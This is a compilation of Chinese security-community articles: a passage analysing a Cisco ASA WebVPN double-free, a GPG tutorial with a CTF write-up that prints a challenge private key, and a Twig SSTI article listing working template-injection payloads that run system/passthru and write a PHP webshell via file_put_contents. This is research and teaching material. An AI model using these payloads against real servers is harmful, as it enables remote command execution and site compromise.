结合动态调试崩溃时的相关信息，通过排查系统堆栈，并尝试不同的断点进行调试，最后确定有漏洞的函数为sub_994E660。sub_994E660函数是ASA解析XML数据包并进行回复数据包的整个流程。在这个流程中，通过调用sub_807ECE0来完成对XML的解析。由于调试的固件中并没有符号表，所以下图中显示的是人工分析后修改的函数名。
上图的代码显示：开发人员是采用类似expat XML解释器的方法对XML进行解析的，而红框标注的部分表明开发人员是通过回调函数的方式来解析XML数据。
上图为aggregatexmldatahandler函数的部分代码。根据注释可以看到，代码在开始会判断要解析的XML
tag是否为”host_scan_reply”，如果是则读取全局变量0xA38E4F8的值。根据分析，该变量用来保存解”host_scan_reply”标签内容时所申请的内存块的指针。当指针指向的内存区域中存有字符串时，将进行Strncat操作，反之则重新申请内存用来存放XML解析出的内容。如下图所示：
XML数据解析完毕，并产生相应的反馈后，系统会释放此前申请的内存，代码如下所示：
……
以上就是ASA处理WebVPN请求中解析XML数据的流程。在该流程中，虽然开发人员在流程的末端释放了在堆中申请的内存，但是有一个全局变量保存了申请内存的指针。同时，考虑到ASA是一个linux系统之上运行的软件，参考Linux系统glibc内存管理机制，在内存块被释放后，并不会立即被OS回收，而是要进行合并操作。合并操作之前也要判断chunk的大小是否大于FASTBIN_CONSOLIDATION_THRESHOLD（默认为64KB），当条件符合时才会进行FASTBIN的合并操作，并将FASTBIN置为空。通过数次调试，我们认为ASA的内存管理机制与glibc存在类似之处，在ASA再次接受解析XML数据的请求时，上一次相同流程中申请的内存指针被全局变量保存，且该内存区域可能存有数据。当该内存区域中的数据没有被置空时，代码流程就会选择直接在内存区域将新解析的数据在以Strncat的形式写入内存区域，在流程末端的free操作中，两次释放同一chunk，造成double
free。
#### 4. 动态调试
启动修改完成的系统固件，并在host端用gdb连接gdbserver并将watchdog复位。设置相应断点后运行程序，待ASA可以ping通后运行POC代码，此时代码断在0x0807D840，也就是上文提到的aggregatexmldatahandler函数。两个参数分别为xml_parser类型的userdata和指向XML数据的指针。当解析的标签为host_scan_reply时，两个参数的内容如下：
结合静态代码来看，此时*(userdata + 4) 的值是0xd，代码获取了0xA3BE4F8地址的值，这个全局变量被初始化为0。
所以此时堆中并没有申请内存用来保存XML数据 ，代码进入malloc分支，申请大小为0x2000的缓冲区。
XML数据（为了方便查找内存，POC代码中相应的字符串被换成flagflag）写入buffer后，查看内存和全局变量的值，如下所示：
XML解析完毕后调用aggregateAuthFreeParserDataOutMem，释放此前申请的内存，然后生成用于反馈请求的报文。free()函数释放相应的内存后，内存块中仍存有”flagflag”字符串。
第二次运行POC代码时，还是相同的流程。但是不同的是，此时全局变量中保存的值，是第一次解析XML数据包时申请的内存指针，也就是0xc85b5648。在通过strlen（）求得此时buffer中仍有字符串flagflag。
所以根据流程，当buffer中有字符串时，直接调用Strncat函数，拼接字符串。
然后和第一次解析XML的流程相同，释放内存并生成用于反馈的报文。
在代码调用free()释放内存后，这块缓冲区就会由于两次释放而造成Double Free，导致系统崩溃。至此，漏洞触发的原因和过程分析完毕。
##
## 0x04 总结
NCC Group公开的资料提供了一部分关于利用漏洞完成远程代码执行的思路。目前，对相关信息的理解是：攻击者可以利用IKE
v1协议的分片重组过程灵活地控制会话报文，通过调整内存布局，构造出可以跳转到shellcode区域的指令，并在空闲Chunk的Unlink操作时，将指令覆盖函数指针，进而达到远程代码执行的效果。至于不依赖IKE协议进行漏洞利用的方法，则需要在弄清Cisco
ASA的内存管理机制后才能实现。
由于在2016年8月，Shadow Brokers 公开了方程式组织针对思科ASA系列全套的攻击和利用框架（参见《8月19日：Shadow-Brokers所泄露文件的介绍、技术分析（上）》），一旦该漏洞被成功利用造成远程代码执行，则可配合其他工具和套件，实现对网络设备的管理控制，并完成更深层次的攻击活动。
据漏洞作者分析，思科从2011年起支持AnyConnect HOST SCAN模块开始，该漏洞可能已存在达七年之久。思科的SSL
VPN网络安全产品一直有高的市场占有率，该漏洞是在继CVE-2016-1287
IKE协议堆溢出远程代码执行漏洞后，最新公开的无需任何认证条件，即可实现突破企业网络边界的远程代码执行漏洞。虽然截至目前，还没有可以远程代码执行的漏洞利用公开，但对众多的思科ASA防火墙产品及SSL
VPN用户而言，即使仅造成设备拒绝服务，也会对线上生产环境产生较大影响。所以，相关运维人员应及早修复漏洞，跟进思科官方的最新补丁，以避免ASA设备遭受漏洞攻击。
## 参考链接
[https://www.anquanke.com/post/id/84614](../post/id/84614)
[https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-ASA1](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1)
[https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/cisco-ASA-series-part-one-intro-to-the-cisco-ASA/](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/cisco-asa-series-part-one-intro-to-the-cisco-asa/)
<http://www.freebuf.com/articles/system/114741.html>
[https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-ASA.pdf](https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf)
[https://www.anquanke.com/post/id/84419](../post/id/84419) | 社区文章 |
# 从一道CTF题目到非对称加密GPG/PGP的学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
偶尔看到一道CTF题目， **[BSidesSF2019]bWF0cnlvc2hrYQ**
，过程中有用到一种加密。那就是GPG，据了解这是一种非对称加密方式。
好奇心驱使下，开始搜集学习这个加密方式的学习资料。
## 什么是GPG？
简介：
1991年，程序员Phil
Zimmermann为了避开政府的监视，开发了加密软件PGP。因为这个软件非常好用，迅速流传开来成为许多程序员的必备工具。但是，它是商业软不能自由使用。所以，自由软件基金会决定，开发一个PGP的替代品取名为GnuPG，因此GPG就诞生了。GPG是GNU
Privacy
Guard的缩写，是自由软件基金会的GNU计划的一部分。它是一种基于密钥的加密方式，使用了一对密钥对消息进行加密和解密，来保证消息的安全传输。一开始，用户通过数字证书认证软件生成一对公钥和私钥。任何其他想给该用户发送加密消息的用户，需要先从证书机构的公共目录获取接收者的公钥，然后用公钥加密信息，再发送给接收者。当接收者收到加密消息后，他可以用自己的私钥来解密。
再提一下，非对称加密的定义吧， **公钥用于加密、私钥用于解密。使用公钥加密过的信息只能由配对的私钥解开。这种加密方式叫做非对称加密。**
简单来说：公钥相当于我们的银行账号，是公开的，别人可以给我们汇钱。
私钥相当于银行卡和存折，不能乱放，可以通过这个提我们的钱。
非对称加密的过程就是：小A要给小B汇钱，那么小B必须将自己的银行账号(公钥)给公开，然后小A拿到B的公钥后，通过银行给他打了一笔钱，这里的银行就相当于小B的公钥的加密方式，然后小B不是直接拿到这笔钱，而是要使用银行卡(私钥)通过银行将这笔钱取出来。
如图所示
关于对称加密的理解
小A给小D写张纸条，上面写着“这个世界上根本就没有奥特曼”但是不希望在传递过程中被别人看到。
但是中间这些传纸条的人比较闲，想看他们的纸条上写了什么。小A于是和小D约定好了，使用密钥3加密她的消息，将字母向下移动3个字母。因此，A将是D，B将是E，等等。如果使用简单的密钥3进行加密，并使用密钥3进行解密，则他们的乱码加密消息很容易破解。有人可以通过尝试所有可能的组合来“强行使用”钥匙。换句话说，他们可以持续猜测，直到获得答案以解密邮件为止。
这是著名的凯撒密码，使用这种加密方式来传输重要消息，是不安全的。
这是前置知识，下面就开始学习怎么使用GPG。
## 怎么使用？
安装的话，Linux发行版默认安装的gpg，这个是在终端使用的。还可以安装GUI软件——kgpg
sudo apt-get install kgpg
笔者这里使用的Terminal命令行。
### 开始使用
**1.生成密钥对**
gpg --gen-key
在此过程中，会提示你设置一个密码。
**2.公钥/私钥的导出和导入**
公钥的导出：
gpg -o keyfilename --export mykeyID
如果没有mykeyID则是备份所有的公钥，-o表示输出到文件keyfilename中，如果加上-a的参数则输出文本格式( ASCII
)的信息，否则输出的是二进制格式信息。
私钥的导出：
gpg -o keyfilename --export-secret-keys mykeyID
如果没有mykeyID则是备份所有的私钥，-o表示输出到文件keyfilename中，如果加上-a的参数则输出文本格式的信息，否则输出的是二进制格式信息。
密钥的导入：
gpg --import filename
PS：无论是私钥的导入还是导出，都需要输入密码。
使用`gpg --list-keys`命令查看是否成功导入了密钥。
**3.加密文件**
3.1非对称加密
gpg -a --output m0re.gpg -r [email protected] -e m0re.txt
其中参数：
`-a` 表示输出文本文件格式。 `--output` 指定输出（即加密后）的文件名。 `-r`
指定信息的接收者（`recipient`）公钥的`uid`，可以是名字也可以是`email`地址。 `-e`
表示这次要执行的是加密（`encrypt`）操作。
执行完毕之后会在当前文件夹产生文件 m0re.gpg，这个就是被加密之后的文件。
3.2对称加密
`gpg`也可以进行对称加密
`gpg`有个`-c`参数，只进行对称加密。
gpg -o m0re.gpg -c m0re.png
此时不需要密钥，密码也可以自己随意设定。
**4.解密文件**
gpg -d m0re.gpg
输入密码。即可解密成功。
还有一中方法是利用工具——PGPTool，这个在下面解题会说到。
**5.删除密钥**
命令
gpg --delete-secret-keys [emailaddress]
**6.对文件进行数字签名**
第一种签名方法
使用命令
gpg -a -b m0re.txt
自动生成一个文件名为`m0re.txt.asc`的加密后的文件
`-a` 表示输出文本文件格式。 `-b` 表示以生成独立的签名文件的方式进行签名。
一般发送者将信息文件和签名文件一同发给接收者。接收者利用签名文件来验证信息文件。
检验命令
gpg --verify m0re.txt.asc
出现下图所示的样子即可。
如果不是这样的，那么表示信息文件被人恶意改动。或者不是我本人发出。
第二种签名方法
如果不想生成一个独立的签名文件，则还可以用如下的命令进行签名：
gpg -a --clearsign m0re.txt
跟方法1不同的地方是用参数`–clearsign` 替代了参数 `-b`。参数 `clearsign` 表示将签名和原信息合并在一起，并生成一个新文件。
命令运行后同样会生成一个文件 m0re.txt.asc，内容如下
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
芜湖起飞～
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEFyHZb/vph9hAiDnAZVWJTjMZ80cFAl/8TsEACgkQZVWJTjMZ
80fYMwv/TqvBzhf3aawl51nNUqLRaFdvULTgDc0PqgEcIubcdQ91MFLgoVZxPiw4
Me1NuaHX8yxTXonxP8DmfVCJwAMwjYev/qvhNEnbHTFICgVapP81vIuDztZco6Ga
v3kyITSfwaHjLDnzf6aZH6oJQyQIyupnNmWTFIjXYM0h36RPC9sB13fjFv7QKqZJ
NuOLcWuhwaDygKhelDzGriPmoNPltcj0CMqqs+FkBy0PeaJMQymGMZGqlK5THl07
B7NXKFoFk4WgGkFBAQVEVrSnrpokvhpxCl8z25ni2gd52jUoche2Z1gEsOeAYNke
y2mJ/4+PJngKxep4rGzqamxSIQz3lpXcpZv8eECLDkEajrDorwIaKFsQwUGaDVtB
C2s5LqGd2KxjxHccZYQ30ki3uxI4hjI0zMif0jw6kCtzw7jWdVOihFix4iggw8QJ
Z2+id18t0Tx+wKtF16dUy9SIpk5U5eaAMQUp/PmhPClJUwS4rWQtNpnGs0SwIaoS
bf0mPckV
=DjMX
-----END PGP SIGNATURE-----
复制内容到一个人文本文件中`hello.txt`
再进行验证`gpg --verify hello.txt`
如图即是无误的信息。
**7.常用参数**
-s, --sign [文件名] 生成一份签字
--clearsign [文件名] 生成一份明文签字
-b, --detach-sign 生成一份分离的签字
-e, --encrypt 加密数据
-c, --symmetric 仅使用对称加密
-d, --decrypt 解密数据(默认)
--verify 验证签字
--list-keys 列出密钥
--list-sigs 列出密钥和签字
--check-sigs 列出并检查密钥签字
--fingerprint 列出密钥和指纹
-K, --list-secret-keys 列出私钥
--gen-key 生成一副新的密钥对
--delete-keys 从公钥钥匙环里删除密钥
--delete-secret-keys 从私钥钥匙环里删除密钥
--sign-key 为某把密钥添加签字
--lsign-key 为某把密钥添加本地签字
--edit-key 编辑某把密钥或为其添加签字
--gen-revoke 生成一份吊销证书
--export 导出密钥
--send-keys 把密钥导出到某个公钥服务器上
--recv-keys 从公钥服务器上导入密钥
--search-keys 在公钥服务器上搜寻密钥
--refresh-keys 从公钥服务器更新所有的本地密钥
--import 导入/合并密钥
--card-status 打印卡状态
--card-edit 更改卡上的数据
--change-pin 更改卡的 PIN
--update-trustdb 更新信任度数据库
--print-md 算法 [文件] 使用指定的散列算法打印报文散列值
选项：
-a, --armor 输出经 ASCII 封装
-r, --recipient 某甲 为收件者“某甲”加密
-u, --local-user 使用这个用户标识来签字或解密
-z N 设定压缩等级为 N (0 表示不压缩)
--textmode 使用标准的文本模式
-o, --output 指定输出文件
-v, --verbose 详细模式
-n, --dry-run 不做任何改变
-i, --interactive 覆盖前先询问
--openpgp 行为严格遵循 OpenPGP 定义
--pgp2 生成与 PGP 2.x 兼容的报文
## BSidesSF2019——bWF0cnlvc2hrYQ==
GPG的学习到此为一段落，下面把那一道CTF题目复现一下。这道题目的wp在网上也没有找到特别详细的。所以花的时间多了一点。
后来发现在BUUCTF上面有这道题目。
题目复现地址——[BUUCTF](https://buuoj.cn/challenges#%5BBSidesSF2019%5DbWF0cnlvc2hrYQ)
题目是base64编码，解出是`matryoshka`翻译则是俄罗斯套娃
下载得到的附件是eml文件，这里我没有去找查看eml的工具，所以跟大佬的wp，通过QQ邮箱发送邮件，并选择eml附件给自己。
然后预览附件
将附件下载下来，可以得到hack.gpg这个加密文件。还有一个私钥文件。
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQPGBFx4q2MBCADDVyGq/S27Ug2rNmOOJzEZ1ZFGxk2UDaoqx+LO4QQHF4/quJ6m
w1R2L2cBxB9YSZyRr2SSn/VG/LiUx93EZscweHAotMpcmQP/gL5WxVF/0wigZ4bY
a6dOX58TC4cTsqInHE9ZZUHl9NqFSMslo3Xq3fUPSFDh2TY/Ck9g1sJ9pSl5Yne7
/yTZ9b606WBPMV+9DOcvE/pisF+Gz/DpFaZHeJUWkrhpZ2CN0QRnlkSyF+Ymqex4
XWAzrHRXT/71l7rNxs7dpvwHpWz9umPFA9XIUWqm8+1o+gHmflL/2+JZmHfBEvUh
2pngLubNq78OxZ28XkINvatq7oBHURc4xy2rABEBAAH+BwMCcPlf+rsxq6nqgfUy
QAihv6IMwR6xhnOAuHA9gxac6z0DKYtpP+IXaFZ39xEmfqQ4NYzyq6ZkxafHpUdB
hzx+CB6kQP7x4ZWC7IY/WSlan9wcX827E6kPZNDwyA6EQJiORpmHG83L4SnRCkSN
N3nGKKcHhQsSTUn2SuNmfB9D8lNbbdkZEcN5uzKd7/AqouB0nzmzKIiKCE7DB7aZ
nFlpXptYxpSl6wr5ThzfUHcxIJNAv1uujCst2tLCdRTnacYM0BicrWwRJcO19hjN
N14EZhP4NBVQ27E7Mq+fvkX2265oXG2DZZrej6txBR3jweEF2PXLuy+qlsHHqkwf
e68ZrOJj+1mp9NugaPTtF4dJsBDwKx5E8PM+erAUcDxW+HSJ50s/AVWa92o4eubw
NCH3nmNLXONHi/e/1pwHTT4wZ6srB9jFXtkVJKrW9dmY9ZAgofiCEaXC6qAvUXMU
vPNfLEEITiBKPby56Ght7nM7CAiSD5pc2XrUDhETy5+7nu9bbu1Sak5JDdp17yyJ
jIoNI/m1R/H6+8CZii9/vH+RIdLbR6UUKV3jM+DgIgEOP3LmFXeDy4lXJPBbZeT6
wnpRsUcdDXpINN0Ll7rkHmS7bEerqEbg5eukK1lE+SUtuSFvD1LRgk+FuyjHwyPz
hL4HdXrUO7pinbCFMrVKlICL001baYwp7DwwyzSaHJLxWmVXAcIPSUcAp1jWtXKk
kjkzey0q5altWpXKujuFG6fLkTFNetkP9fzwAuraTfq8Nqr+ijy/NvZUCSg/i7ep
qRfPNJ4rt4ZQnXoF1pwVJt7OK77PxiF7dqhdA8TLSFCM0Lur6+kJ3gXQSRGJjvXg
ojPpp3t/XaDhbi6YEpJC+IXJNfGnm3FtOMU42ms7r1eFOuzIF826nUOYwn57ntkL
8ZjlQeqXH+d3tCNNYXRyeSBPc2hrYSA8TWF0cnkuT3Noa2FAZ21haWwuY29tPokB
UwQTAQgAPRYhBAx7y7rfDFJz55cxgGnV8AOKKJ+xBQJceKtjAhsDBQkDwmcABAsJ
CAcFFQoJCAsFFgIDAQACHgECF4AACgkQadXwA4oon7FEJgf+IbvwIjAEqP/kRpEa
kFFk1g7PMkOLhpylf/urUXTHdZtxtf7J6bgSMVAFlT2jH5NsvCi7WBWc4EDV/GzH
j38PwehWCUQvuhbM7cehUPZQ7o/o6s7NCMUuaBzpfvPmN4VPKUbh0qpPxz4cyW2M
OnuhPmhJG2l3PvC1RMj+ynPZ2wxc1ghjgeZ1a6fc8tHio+UAaEfSGtc3jAaUTIHI
SlMR6Gn4QSTGLmDjrtHRr5VwL9T3GzP6y4M4dvk7e//759o/Bp2DPOva4enLvVIJ
SSzWJYW+D804lzFJBfRoUterhnWsOUN0LATJdR1kLcqeTW3yCuOw6IKNcPQezyZy
lXgHxp0DxgRceKtjAQgA0H6H1i1994w0cITd4riSHhzeK4ThiSYhq/p5BGWvEv8N
c0MhIkmwdpwXWqmRKTFlcPAbSMDzpsvPmxT6mIjTq5mttT7MDkXXqVWX+J0ruif8
vKzwzPijRkUx+2hh1XF40wmdahatLMJ5jyBR4A6vCRyW7m1P4g1avp7oFv36rIXs
93NE9T293lRPPFX/phxSCN5/oEITr5EJiKCFRGqv7crIa1rpw/ath2kPhNR7Gnj/
EqWiMrO2tXL+ffu+ziZ/wbZyAvLX9zo0ojFW+2SEECouQhlVlG72i//PbXDzmOAg
cOUqAAdEY1vNBecBwMkwLuRHq3OHPSlvugmzlMdW7wARAQAB/gcDAiYeS6GL1X+s
6tQ1pNCobI4SGl/t4B/2VxhLh2Ew6NdplNdGewAy6ipSO5z88uFxDqK++iW4OV8s
4HncJfQdp04fgonjS2pJg40MRmnAQ4rW+fqkoHSt54bZ5VX+/dToCgCgucItCidD
ph7gM7Cc2VKRWvFy2elABlBVSSVk9FJYQug6yrrxP9r4apmnQdILPklGFNyjF/ax
yQ3yG/hr9pYnkJUJ3t95CPz4c+N/f+8i5sGOw8sT6UcGDagRW4OQnaeWmHoxVmXR
uYsO0RSfJQ4TnAqMeuEaLMpfmUcumDA0j4mjX/AcCbx1LHyhjE2XkCVITOP8c3Ik
/FXWh/dgcIIbujpdEAzZ5c7S/LkncGINS6zcX35BCcSsd6RHo1lmf2RvOrOTNjmP
hmCbA8fIhXSmpeQcpjqDw12mxfydlY3A7z8U6USdy+PaEQCGQDmZ/dw1VPgLeYsc
rAM5mH0dO22md4R1OygEJ7WbQTmuwjpqYpIy08uUz43XKqqC5zofmPpcShO0ZtUT
7z5thTixg4dDqqzk5T6tB5fnhJEn1y6x5XKCJztHFIwu3Jho5WFNP/yt8bdEHEdP
5DB3dhE3ABfFHW4Yy+7eYRuxN9OPiYVQeou4GnELHrhqwH/rLezMNWKZ8QICB33X
HoNmT9Pp0zVw0GdYY+IZxMufLbB/Htq2alvNhUxdiFKREXn+1iht1/+IewMZL7TI
qjh8VlpKgMH0r6uWvI0BXNZB8YEbUI2MRRqmnI4MrqFTrFy1yt60OgKHt1QnrhsH
dTNcKicAP4MUn/4wJEAEwFtUWPMgV1ZESEC8IebHfEXp087/X4AnjXzgRAD+uQ7B
ZY6n21zQAYNORCZnMadtet4I6djzbLFibPwGM4UXkx9D16T7sBtCvn8jWahEisYP
8akab83Uvi1e6Epw1okBPAQYAQgAJhYhBAx7y7rfDFJz55cxgGnV8AOKKJ+xBQJc
eKtjAhsMBQkDwmcAAAoJEGnV8AOKKJ+xJGkIAMJis17NR9kZz6CPDJcx0dTY83Ol
RhvnAjqVj4aSMYNm/0OfULmkofMyjWZVw3QihoGT9/5CJWpvv5f4D6NtoQFSlpPn
e/gioBDHaN6CL0mgMXGYpCf9DObpeDZldqj3Q9YW+mkXdDnIzvHpH78qKyJPrZ9H
20wogMWlmyVg7Ksos528AFWQ+4HXoH7h0M6VZ3Xq0IrbNAKFQAesOG1SkudaM4n1
JN90bxUYDbSUSA4jU4e2Wd1aMh2DCkMUAdmm6rGZ5fp72GrLZRbPnY32yI7clG7z
un7m73MZ9lMlItql0EFWrlzQs/605/WBYqV7WxnhwEs/drA7qBtm4IBu7tk=
=Hhg6
-----END PGP PRIVATE KEY BLOCK-----
现在就差密码了。这个点卡了我好久，因为网上的资料显示直接得到密码，但是不理解为什么，后来就找到了GitHub中的一个师傅写的wp。
说是在QQ邮箱中不显示头像，头像是个二维码。可以在记事本中打开eml文件搜索face，找到头像的base64编码。然后进行转换图片，即可得到二维码
Face:iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEX///8AAABVwtN+AAAACXBI WXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4wMBBAIZ8ky8pwAAAJRJREFUGFdlzbEJwzAQBdAzB04T khE0gzqrkVYRZIEMIHAgawiyyqWJS69g8AhqXIT8FPERI1evfAQ0GaAV4ZCFK4bS5HH+49OWNu4Q 7pKwArjf4DJARG0kUlAWY3PFcsUcoLjyMhSV5ShsJ8XhMHuuIAr3z0UBfP/MijD1FspQOiNmh6cT
bUjNTRF2j/NUAfg4vle+pY6V5XCWRiUAAAAASUVORK5CYII=
进行base64转图片得到
扫描得到`h4ck_the_plan3t`
猜测就是密码了。
尝试进行解密，这里介绍一个工具。GPGTool
先导入密钥
然后选择Decrypt file，选择hack.gpg，输入密码，即可得到解密后的文件。
`hack4.zip`——>`file.bin`，
首先查看是什么文件，看到数据文件，先尝试了binwalk
lzip文件，所以我使用010editor打开看一下。
百度搜索lzip的内容，但是确实少之又少。直到我找到wp，删除前11个字节，lzip文件的开头应当是lzip。即`4C5A4950`开头。
解压该文件，注意使用lzip命令，kali默认不安装，所以需要手动安装
apt-get install lzip
发现是PDF文件，该文件后缀查看。
这个是WindowsXP的经典桌面壁纸。
原图——[维基百科](https://en.wikipedia.org/wiki/Bliss_\(image)
仔细看白云的部分，会发现有明显的跟切割似的地方。从PDF里将图片提取出来，然后使用stegslove打开，在blue通道的2和3，看到非常类似二维码
然后是双图的考点，记得提前保存原图。
导入在维基百科下载的原图。
保存一下，然后扫描二维码得到
/Td6WFoAAATm1rRGAgAhARwAAAAQz1jM4ELCAORdABhgwwZfNTLh1bKR4pwkkcJw0DSEZd2BcWATAJkrMgnKT8nBgYQaCPtrzORiOeUVq7DDoe9feCLt9PG-MT9ZCLwmtpdfvW0n17pie8v0h7RS4dO/yb7JHn7sFqYYnDWZere/6BI3AiyraCtQ6qZmYZnHemfLVXmCXHan5fN6IiJL7uJdoJBZC3Rb1hiH1MdlFQ/1uOwaoglBdswAGo99HbOhsSFS5gGqo6WQ2dzK3E7NcYP2YIQxS9BGibr4Qulc6e5CaCHAZ4pAhfLVTYoN5R7l/cWvU3mLOSPUkELK6StPUBd0AABBU17Cf970JQABgALDhQEApzo4PbHEZ/sCAAAAAARZWg==
进行base64编码，即可看到开头明显的7z，所以猜测这是压缩包。
但是在转换过程，一直没有成功。base64解码后转数据实现不了，太菜了呀。就借用了写出来wp的师傅的文件。[点击下载](https://firebasestorage.googleapis.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LSy8sGto5CLNupxyVZc%2F-L_ArNCgFVPyxHrFjWiV%2F-L_B6H0Z9oXSS-4-5AHx%2Fout.7z?alt=media&token=b4c51146-5a2d-4813-a2f1-0cd19cc84091)
按照自上而下的顺序来`binary-octal-decimal-hex-ascii`
得到base64编码为`Nlc/TyVBN11SY0ZDL2EuP1lzcSFCallwdERmMCEz`
进行解码得到：`6W?O%A7]RcFC/a.?Ysq!BjYptDf0!3`
在进行base85解码：`CTF{delat_iz_muhi_slona}`
## 总结
这次学到了知识有：
1.GPG非对称加密
2.lzip隐写
3.复习了 双图隐写
## 参考文章
<https://tuanlinh.gitbook.io/ctf/bsidessf-2019-ctf#forensic-bwf-0-cnlvc-2-hryq>
<https://reverseltf.wordpress.com/2019/08/01/bsidessf2018-matryoshkas-revenge-writeup/>
<https://en.wikipedia.org/wiki/Lzip>
<https://www.yuque.com/kshare/2019/c6b7ee54-5894-49b0-b810-304abd2eb47d> | 社区文章 |
今天是2016年的最后一天。
算算，先知社区上线两个月啦，
一路走来离不开各位白帽子和安全技术研究同学们的支持；
代表先知技术社区团队祝各位2017年每天开心~~新年快乐！
先知技术社区新的一年也会致力于为大家贡献更好更干货的内容，努力为大家创造更加开放、活跃的技术交流环境及氛围。
愿和大家一起加油~~ | 社区文章 |
# TWIG 全版本 通用 SSTI payload
上次发了一篇Twig 3.x with
Symfony的SSTI利用方法，这几天刷twitter的时候又看到了一篇writeup，里面提到了另外一种rce的方法，这种方法不依赖于Symfony。
## payloads
直接上结论，下面的payload在Twig 3.x 版本测试通过，看了1.x和2.x版本的代码，应该也是可以利用的。
* `{{["id"]|map("system")|join(",")`
* `{{["id", 0]|sort("system")|join(",")}}`
* `{{["id"]|filter("system")|join(",")}}`
* `{{[0, 0]|reduce("system", "id")|join(",")}}`
* `{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}`
## 分析
### map
文档里面map的用法
允许用户传一个arrow function， arrow function最后会变成一个`closure`
举个例子
`{{["man"]|map((arg)=>"hello #{arg}")}}`
会被编译成
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
`map` 对应的函数是`twig_array_map` ,下面是其实现
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}
return $r;
}
从上面的代码我们可以看到，$arrow 是可控的，可以不传arrow
function，可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数：
* > system ( string `$command` [, int `&$return_var` ] ) : string
* > passthru ( string `$command` [, int `&$return_var` ] )
* > exec ( string `$command` [, array `&$output` [, int `&$return_var` ]] ) : string
* > popen ( string `$command` , string `$mode` )
* > shell_exec ( string `$cmd` ) : string
只要可以传两个参数的基本都可以，所以前四个都是可以用的。
思考一下如果上面的都被禁了，还有其他办法吗？
* > file_put_contents ( string `$filename` , [mixed](language.pseudo-types.html#language.types.mixed) `$data` [, int `$flags` = 0 [, resource `$context` ]] ) : int
通过`{{{"<?php
phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}` 写个shell
也是可以的。
当然了应该还有其他函数可以利用。
下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。
`(arg)=>"hello #{arg}"` 会被解析成ArrowFunctionExpression，经过一些列处理会变成一个闭包函数。
但是如果我们传的是 ``{{["id"]|map("passthru")}}` `passthru` 会被解析成 ConstanExpression
`{{["id"]|map("passthru")}}` 最终会被编译成下面这样
twig_array_map([0 => "whoami"], "passthru")
按照这个思路，我们去找$arrow 参数的， 可以发现下面几个filter也是可以利用的
### sort
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow);
} else {
asort($array);
}
return $array;
}
> usort ( array `&$array` , [callable](language.types.callable.html)
> `$value_compare_func` ) : bool
所以我们可以构造
{{["id", 0]|sort("passthru")}}
### filter
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
> array_filter ( array `$array` [, [callable](language.types.callable.html)
> `$callback` [, int `$flag` = 0 ]] ) : array
只需要传一个参数即可
{{["id"]|filter('system')}}
### reduce
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial);
}
> array_reduce ( array `$array` , [callable](language.types.callable.html)
> `$callback` [, [mixed](language.pseudo-types.html#language.types.mixed)
> `$initial` = **`NULL`** ] ) : [mixed](language.pseudo-> types.html#language.types.mixed)
刚开始还是像前面那样构造成了
{{["id", 0]|reduce("passthru")}}
但是会发现没有执行成功，是因为第一次调用的是`passthru($initial, "id")`, `$initial`
是null，所以会失败。所以把`$initial` 赋值成要执行的命令即可
{{[0, 0]|reduce("passthru", "id")}}
不知道有没有自动化fuzz，把php允许有callback参数的所有函数找出来，如果有师傅研究过，欢迎来交流。
## 参考链接
* <https://cyku.tw/volgactf-2020-qualifier/> | 社区文章 |
# 4月9日每日安全热点 -7场针对流行病的医疗保健机构的网络攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
漏洞 Vulnerability
WordPress Lead Plus X WordPress插件中的严重漏洞
<https://www.wordfence.com/blog/2020/04/critical-vulnerabilities-in-the-wp-lead-plus-x-wordpress-plugin/>
CNVD-2020-21803:Mozilla Firefox和Firefox ESR内存错误引用漏洞
<https://www.cnvd.org.cn/flaw/show/CNVD-2020-21803>
CNVD-2020-21802 Mozilla Firefox和Firefox ESR内存错误引用漏洞
<https://www.cnvd.org.cn/flaw/show/CNVD-2020-21802>
CNVD-2020-18686：宝塔Linux面板存在逻辑缺陷漏洞
<https://www.cnvd.org.cn/flaw/show/CNVD-2020-18686>
安全资讯 Security Information
7场针对流行病的医疗保健机构的网络攻击
